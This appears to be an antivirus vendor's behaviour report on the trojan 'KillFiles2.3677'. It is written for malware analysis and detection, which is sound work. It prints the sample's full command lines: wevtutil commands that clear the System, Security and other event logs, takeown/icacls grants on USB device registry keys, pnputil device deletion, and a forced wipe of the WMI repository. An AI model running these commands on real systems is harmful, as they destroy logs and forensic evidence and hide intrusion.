Trojan.KillFiles2.3677

Technical Information

Malicious functions

Executes the following

'<SYSTEM32>\net.exe' stop winmgmt /y

Modifies file system

Creates the following files

nul
%WINDIR%\inf\display.pnf
%WINDIR%\inf\audioendpoint.pnf

Deletes the following system files

%WINDIR%\inf\setupapi.dev.log

Miscellaneous

Executes the following

'<SYSTEM32>\cmd.exe' /c wevtutil cl "System"
'<SYSTEM32>\wevtutil.exe' cl "System"
'<SYSTEM32>\cmd.exe' /c wevtutil cl "Security"
'<SYSTEM32>\wevtutil.exe' cl "Security"
'<SYSTEM32>\cmd.exe' /c wevtutil cl "Application"
'<SYSTEM32>\wevtutil.exe' cl "Application"
'<SYSTEM32>\cmd.exe' /c wevtutil cl "Windows PowerShell"
'<SYSTEM32>\wevtutil.exe' cl "Windows PowerShell"
'<SYSTEM32>\cmd.exe' /c wevtutil cl "Microsoft-Windows-TaskScheduler/Operational"
'<SYSTEM32>\wevtutil.exe' cl "Microsoft-Windows-TaskScheduler/Operational"
'<SYSTEM32>\cmd.exe' /c wevtutil cl "Microsoft-Windows-DriverFrameworks-UserMode/Operational"
'<SYSTEM32>\wevtutil.exe' cl "Microsoft-Windows-DriverFrameworks-UserMode/Operational"
'<SYSTEM32>\cmd.exe' /c wevtutil cl "Microsoft-Windows-DeviceSetupManager/Admin"
'<SYSTEM32>\wevtutil.exe' cl "Microsoft-Windows-DeviceSetupManager/Admin"
'<SYSTEM32>\cmd.exe' /c wevtutil cl "Microsoft-Windows-Storage-ClassPnP/Operational"
'<SYSTEM32>\wevtutil.exe' cl "Microsoft-Windows-Storage-ClassPnP/Operational"
'<SYSTEM32>\cmd.exe' /c wevtutil cl "Microsoft-Windows-Partition/Diagnostic"
'<SYSTEM32>\wevtutil.exe' cl "Microsoft-Windows-Partition/Diagnostic"
'<SYSTEM32>\cmd.exe' /c wevtutil cl "Microsoft-Windows-Kernel-PnP/Configuration"
'<SYSTEM32>\wevtutil.exe' cl "Microsoft-Windows-Kernel-PnP/Configuration"
'<SYSTEM32>\cmd.exe' /c takeown /f "SYSTEM\CurrentControlSet\Enum\USB" /r /d y > nul 2>&1
'<SYSTEM32>\takeown.exe' /f "SYSTEM\CurrentControlSet\Enum\USB" /r /d y
'<SYSTEM32>\cmd.exe' /c icacls "SYSTEM\CurrentControlSet\Enum\USB" /grant administrators:F /t > nul 2>&1
'<SYSTEM32>\icacls.exe' "SYSTEM\CurrentControlSet\Enum\USB" /grant administrators:F /t
'<SYSTEM32>\cmd.exe' /c takeown /f "SYSTEM\CurrentControlSet\Control\DeviceClasses" /r /d y > nul 2>&1
'<SYSTEM32>\takeown.exe' /f "SYSTEM\CurrentControlSet\Control\DeviceClasses" /r /d y
'<SYSTEM32>\cmd.exe' /c icacls "SYSTEM\CurrentControlSet\Control\DeviceClasses" /grant administrators:F /t > nul 2>&1
'<SYSTEM32>\icacls.exe' "SYSTEM\CurrentControlSet\Control\DeviceClasses" /grant administrators:F /t
'<SYSTEM32>\cmd.exe' /c takeown /f "SYSTEM\ControlSet001\Enum\USB" /r /d y > nul 2>&1
'<SYSTEM32>\takeown.exe' /f "SYSTEM\ControlSet001\Enum\USB" /r /d y
'<SYSTEM32>\cmd.exe' /c icacls "SYSTEM\ControlSet001\Enum\USB" /grant administrators:F /t > nul 2>&1
'<SYSTEM32>\icacls.exe' "SYSTEM\ControlSet001\Enum\USB" /grant administrators:F /t
'<SYSTEM32>\cmd.exe' /c takeown /f "SYSTEM\CurrentControlSet\Control\DeviceContainers" /r /d y > nul 2>&1
'<SYSTEM32>\takeown.exe' /f "SYSTEM\CurrentControlSet\Control\DeviceContainers" /r /d y
'<SYSTEM32>\cmd.exe' /c icacls "SYSTEM\CurrentControlSet\Control\DeviceContainers" /grant administrators:F /t > nul 2>&1
'<SYSTEM32>\icacls.exe' "SYSTEM\CurrentControlSet\Control\DeviceContainers" /grant administrators:F /t
'<SYSTEM32>\cmd.exe' /c takeown /f "SYSTEM\CurrentControlSet\Control\Class\{36FC9E60-C465-11CF-8056-444553540000}" /r /d y > nul 2>&1
'<SYSTEM32>\takeown.exe' /f "SYSTEM\CurrentControlSet\Control\Class\{36FC9E60-C465-11CF-8056-444553540000}" /r /d y
'<SYSTEM32>\cmd.exe' /c icacls "SYSTEM\CurrentControlSet\Control\Class\{36FC9E60-C465-11CF-8056-444553540000}" /grant administrators:F /t > nul 2>&1
'<SYSTEM32>\icacls.exe' "SYSTEM\CurrentControlSet\Control\Class\{36FC9E60-C465-11CF-8056-444553540000}" /grant administrators:F /t
'<SYSTEM32>\cmd.exe' /c takeown /f "SYSTEM\CurrentControlSet\Enum\SWD\WPDBUSENUM" /r /d y > nul 2>&1
'<SYSTEM32>\takeown.exe' /f "SYSTEM\CurrentControlSet\Enum\SWD\WPDBUSENUM" /r /d y
'<SYSTEM32>\cmd.exe' /c icacls "SYSTEM\CurrentControlSet\Enum\SWD\WPDBUSENUM" /grant administrators:F /t > nul 2>&1
'<SYSTEM32>\icacls.exe' "SYSTEM\CurrentControlSet\Enum\SWD\WPDBUSENUM" /grant administrators:F /t
'<SYSTEM32>\cmd.exe' /c pnputil /enum-devices /disconnected > nul 2>&1
'<SYSTEM32>\pnputil.exe' /enum-devices /disconnected
'<SYSTEM32>\cmd.exe' /c pnputil /delete-devices /disconnected /force > nul 2>&1
'<SYSTEM32>\pnputil.exe' /delete-devices /disconnected /force
'<SYSTEM32>\cmd.exe' /c net stop winmgmt /y > nul 2>&1
'<SYSTEM32>\net1.exe' stop winmgmt /y
'<SYSTEM32>\cmd.exe' /c del /F /S /Q <SYSTEM32>\wbem\Repository\* > nul 2>&1
'<SYSTEM32>\cmd.exe' /c net start winmgmt > nul 2>&1
'<SYSTEM32>\net.exe' start winmgmt
'<SYSTEM32>\net1.exe' start winmgmt
'<SYSTEM32>\cmd.exe' /c sc stop PlugPlay > nul 2>&1
'<SYSTEM32>\sc.exe' stop PlugPlay
'<SYSTEM32>\cmd.exe' /c sc start PlugPlay > nul 2>&1
'<SYSTEM32>\sc.exe' start PlugPlay
'<SYSTEM32>\cmd.exe' /c powershell.exe -Command "& {$ws = New-Object -ComObject WindowsInstaller.Installer; $ws.ReinstallProduct(''); $ws.Quit()}" > nul 2>&1
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "& {$ws = New-Object -ComObject WindowsInstaller.Installer; $ws.ReinstallProduct(''); $ws.Quit()}"